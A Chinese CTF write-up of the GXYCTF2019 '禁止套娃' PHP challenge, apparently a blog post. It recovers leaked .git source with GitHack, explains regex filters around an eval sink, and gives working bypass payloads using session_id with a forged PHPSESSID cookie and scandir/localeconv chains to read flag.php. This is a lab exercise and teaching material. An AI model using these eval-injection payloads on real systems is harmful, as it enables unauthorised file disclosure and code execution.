[GXYCTF2019]禁止套娃1 writeup

涉及命令执行存在过滤

 没有如何提示信息------经过目录扫描也没有新的发现

尝试是否为git源码泄露,利用GitHack工具扫描找到了源码,于是开始审计代码

 python GitHack.py http://61323044-93c7-4c5d-915f-33ba1b31d7f7.node4.buuoj.cn:81/.git/

第一个if:if(isset($_GET['exp']))  :  要求我们通过get方式传入exp参数

第二个if:if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) :  对输入参数exp做了过滤,把data、filter、php,phar等等php伪协议,别看好像很多\和/ 其实原型是data://  然后利用\ 去转义/  所以就变成data:\ /\ /

第三个if:if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))即是过滤了;是为了限制命令执行

第四个if:if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) 过滤了很多敏感文件的关键字


 @eval($_GET['exp']);    这串代码就是其实就是可以利用eval函数 它会把括号里的参数当做命令执行,因为它做了很多限制以至于我们无法使用data或者php等等为协议,因此我们可以想到还有

另外的方法就是session_id

playload

?exp=highlight_file( session_id(session_start())); 

 单纯传入exp参数是没有用的,我们还需要通过打开bp,然后在头部中修改cookie

将其修改为cookie:PHPSESSID=flag.php    

因为当你调用 session_start() 函数时,PHP 会为用户生成一个唯一的会话 ID,并将这个 ID 与用户的会话数据关联起来。默认情况下,这个会话 ID 是通过 Cookie 在客户端进行传递的。PHP 会在客户端创建一个名为 "PHPSESSID" 的 Cookie,其中包含会话 ID。这样,每次用户发送请求时,浏览器都会自动将这个 Cookie 中的会话 ID 发送给服务器,服务器据此找到相应的会话数据。


还有另一个方法是通过scandir 以扫描当前目录下的文件

playload

?exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

 highlight_file() 函数对文件进行语法高亮显示,本函数是show_source() 的别名
next() 输出数组中的当前元素和下一个元素的值。
array_reverse() 函数以相反的元素顺序返回数组。(主要是能返回值)
scandir() 函数返回指定目录中的文件和目录的数组。
pos() 输出数组中的当前元素的值。
localeconv() 函数返回一个包含本地数字及货币格式信息的数组,该数组的第一个元素就是"."。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值